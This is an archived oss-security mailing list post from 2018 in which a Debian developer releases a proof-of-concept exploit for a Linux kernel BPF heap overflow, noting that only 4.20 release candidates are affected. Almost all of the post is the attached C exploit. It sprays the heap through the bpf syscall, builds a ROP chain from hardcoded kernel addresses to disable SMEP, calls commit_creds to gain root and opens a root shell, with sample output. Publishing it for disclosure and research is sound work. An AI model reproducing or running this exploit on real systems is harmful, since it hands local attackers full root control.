[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    Re: [oss-security] fwd: [vs-plain] Kernel heap overflow in bpf leading to LPE (exploit provided)
From:       Yves-Alexis Perez <corsac () debian ! org>
Date:       2018-11-24 9:08:15
Message-ID: a40aa855b2656ce82d611ea22fb6fb0c76c86353.camel () debian ! org
[Download RAW message or body]

[Attachment #2 (multipart/mixed)]


On Fri, 2018-11-23 at 21:45 +0100, Yves-Alexis Perez wrote:
> On Fri, 2018-11-23 at 19:09 +0100, Greg KH wrote:
> > As was discussed further on one of the threads on this topic, it looks
> > like this is a 4.20-rc issue only, and that 4.19 does not have this
> > issue.  So it might not be relevant to any distro at all, but I suggest
> > that people test themselves to be sure.
> 
> Hi Greg, thanks for the precision.

And considering no released kernel is vulnerable, here is the proof of concept
code provided initially.

Regards,
-- 
Yves-Alexis

["exp.c" (exp.c)]

// gcc -o exp exp.c -static -fno-pie
// SMEP bypass exploit  
// author ww9210
// poc generated by syzkaller
/* 
user@test:~$ ./exp
rop_payload_initialized
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
# uname -a
Linux syzkaller 4.20.0-rc3 #1 SMP Thu Nov 22 15:12:38 CST 2018 x86_64 GNU/Linux
#
*/
#define _GNU_SOURCE
#define SPRAY_NUMBER 14

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#define native_write_cr4 0xffffffff81097fcc
#define PREPARE_KERNEL_CRED 0xffffffff810e3670
#define COMMIT_CREDS  0xffffffff810e33e0
#define poprdiret 0xffffffff810013b9
#define popraxret 0xffffffff81029c71
#define swapgs 0xffffffff81c0095f
#define iretq 0xffffffff8106d8f4
#define stack_pivot_gadget 0xffffffff81954dc8
#define stack_top_offset 0x674
#define krop_base_to_map 0x81954000
int rop_start=0x1444-8;
void* krop_base_mapped;

unsigned long user_cs, user_ss, user_rflags;

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

void get_shell()
{
    system("id");
    char *shell = "/bin/sh";
    char *args[] = {shell, NULL};
    execve(shell, args, NULL);
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root_payload(void)
{
    commit_creds(prepare_kernel_cred(0));
}
/*
unsigned long rop_chain[] = {
    poprdiret,
    0x6f0,
    native_write_cr4,
    get_root_payload,
    swapgs,
    0, //dummy
    iretq,
    get_shell,
    0,//user_cs,
    0,//user_rflags,
    0,//krop_base_mapped + 0x4000,
    0//user_ss
};
*/
#define POPRDX 0xffffffff81002dda
//0xffffffff810d9c01 : push rax ; push rax ; ret
#define DUMMY 0
unsigned long rop_chain[] = {
    popraxret,
    0x6f0,
    native_write_cr4,
    poprdiret,
    0,
    PREPARE_KERNEL_CRED,
    0xffffffff81001c50, //: pop rsi ; ret
    poprdiret,
    0xffffffff812646fb, //: push rax ; push rsi ; ret
    COMMIT_CREDS,
    swapgs,
    (unsigned long)&get_shell,
    0,//user_cs,
    0,//user_rflags,
    0,//krop_base_mapped + 0x4000,
    0//user_ss
};

void * fakestack;
void prepare_krop(){
    krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
    if (krop_base_mapped<0){
        perror("mmap failed");
    }
    fakestack=mmap((void *)0xa000000000,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
    *(unsigned long*)0x0000000081954dc8=popraxret;
    *(unsigned long*)krop_base_to_map = 0;
    *(unsigned long*)(krop_base_to_map+0x1000) = 0;
    *(unsigned long*)(krop_base_to_map+0x2000) = 0;
    *(unsigned long*)(krop_base_to_map+0x3000) = 0;
    *(unsigned long*)(krop_base_to_map+0x4000) = 0;
    *(unsigned long*)(krop_base_to_map+0x5000) = 0;
    *(unsigned long*)(krop_base_to_map+0x6000) = 0;
    *(unsigned long*)(krop_base_to_map+0x7000) = 0;
    *(unsigned long*)(fakestack+0x4000) = 0;
    *(unsigned long*)(fakestack+0x3000) = 0;
    *(unsigned long*)(fakestack+0x2000) = 0;
    *(unsigned long*)(fakestack+0x1000) = 0;
    *(unsigned long*)(fakestack) = 0;
    *(unsigned long*)(fakestack+0x10) = stack_pivot_gadget;
    *(unsigned long*)(fakestack+0x7000) = 0;
    *(unsigned long*)(fakestack+0x6000) = 0;
    *(unsigned long*)(fakestack+0x5000) = 0;
    rop_chain[12]=user_cs;
    rop_chain[13]=user_rflags;
    rop_chain[14]=(unsigned long)(fakestack + 0x6000);
    rop_chain[15]=user_ss;
    memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain));
    puts("rop_payload_initialized");
}

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

uint64_t r[1] = {0xffffffffffffffff};

// defragmentation
void defragment(){
    int i;
    FILE* fp;
    char name[100];
    for(i=0; i<200; i++){
        snprintf(name, 100, "xxx%d", i);
        fp=fopen(name,"w");
    }
}

long victim[SPRAY_NUMBER];
void spray(){
    int i;
    for(i=0;i<SPRAY_NUMBER;i++){
        victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
    }
    return;
}
int main(void)
{
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  long res = 0;
  *(uint32_t*)0x200011c0 = 0x17;
  *(uint32_t*)0x200011c4 = 0;
  //*(uint32_t*)0x200011c8 = 0x1000;
  //*(uint32_t*)0x200011c8 = 0x200;
  *(uint32_t*)0x200011c8 = 0x40;
  *(uint32_t*)0x200011cc = -1;
  *(uint32_t*)0x200011d0 = 0;
  *(uint32_t*)0x200011d4 = -1;
  *(uint32_t*)0x200011d8 = 0;
  *(uint8_t*)0x200011dc = 0;
  *(uint8_t*)0x200011dd = 0;
  *(uint8_t*)0x200011de = 0;
  *(uint8_t*)0x200011df = 0;
  *(uint8_t*)0x200011e0 = 0;
  *(uint8_t*)0x200011e1 = 0;
  *(uint8_t*)0x200011e2 = 0;
  *(uint8_t*)0x200011e3 = 0;
  *(uint8_t*)0x200011e4 = 0;
  *(uint8_t*)0x200011e5 = 0;
  *(uint8_t*)0x200011e6 = 0;
  *(uint8_t*)0x200011e7 = 0;
  *(uint8_t*)0x200011e8 = 0;
  *(uint8_t*)0x200011e9 = 0;
  *(uint8_t*)0x200011ea = 0;
  *(uint8_t*)0x200011eb = 0;

  save_state();
  prepare_krop();
  res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
  if (res != -1)
    r[0] = res;
  spray();

  *(uint32_t*)0x200000c0 = r[0];
  *(uint64_t*)0x200000c8 = 0;
  *(uint64_t*)0x200000d0 = 0x20000140;
  *(uint64_t*)0x200000d8 = 2;
  uint64_t* ptr = (uint64_t*)0x20000140;
  ptr[0]=1;
  ptr[1]=2;
  ptr[2]=3;
  ptr[3]=4;
  ptr[4]=5;
  ptr[5]=6;
  ptr[6]=0xa000000000;
  ptr[7]=8;
  syscall(__NR_bpf, 2, 0x200000c0, 0x20);
  int i;
  *(unsigned long*)(fakestack+0x7000) = 0;
  *(unsigned long*)(fakestack+0x6000) = 0;
  *(unsigned long*)(fakestack+0x5000) = 0;
  for(i=0;i<SPRAY_NUMBER;i++){
      close(victim[i]);
  }
  pause();
  return 0;
}

["signature.asc" (application/pgp-signature)]

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic